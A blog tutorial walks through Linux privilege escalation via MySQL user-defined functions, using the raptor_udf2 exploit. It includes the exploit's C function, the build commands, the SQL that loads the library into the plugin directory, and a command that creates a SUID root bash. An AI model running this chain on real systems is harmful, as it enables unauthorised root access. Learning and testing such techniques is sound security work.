Aléas numériques

Linux, infosec and whatever crosses my mind.


» Privileges escalation using MySQL's User-Defined Functions

Hello there. Today, we’ll be escalating privileges, using MySQL UDF.

MySQL User-Defined Functions

In the MySQL universe, a function is a subprogram that can be used to perform more or less complex operations, and return the output that can later be used as a value. There are 2 kinds of functions:

  • System functions: they are already defined by MySQL and are ready to use.
  • User-defined functions: those functions are defined by the developers/administrators and added to MySQL.

We’ll see how we can leverage the latter to gain extra privileges.

Assumptions

As you know, there are no privesc techniques that work out-of-box, they almost need some context (misconfigurtaion, vulnerabilities, …) that we can leverage to gain extra privileges. In our case, here are the parameters:

  • you gained access to the machine;
  • the mysql service is running as root on the machine;
  • you know the MySQL root password (or more genrally can connect as root).

Build the exploit

A well-known exploit, called raptor_udf2 exploit is available online. Basically, it is just a small piece of C code that defines a function called do_system which job is to use the system(3) library function with given arguments. This lib function uses the fork(2) syscall to create a child process that will executes a specified shell command.

Here is the most interesting part of the exploit:

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

Once you downloaded the exploit, you have to create a shared-object to be able to load it in MySQL:

$ gcc -g -c raptor_udf2.c -fPIC
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

You now have a raptor_udf2.so file ready to go!

Keep calm and pwn the DB

Connect to the MySQL database using the root credentials:

$ mysql -u root

Then create the do_system UDF using the commands:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

Once you’ve done everything above, you can do almost everything as the root user (remember that mysql is running as root!).

Let’s for example make a copy of /bin/bash and add the SUID bit to it:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Now exit the MySQL console and run /tmp/rootbash -p to gain a shell with root privileges:

$ /tmp/rootbash -p
# whoami
root

Yay! 🎉


Did I make a mistake? You want to say something about this post? Feel free to send me an email about this article by clicking here!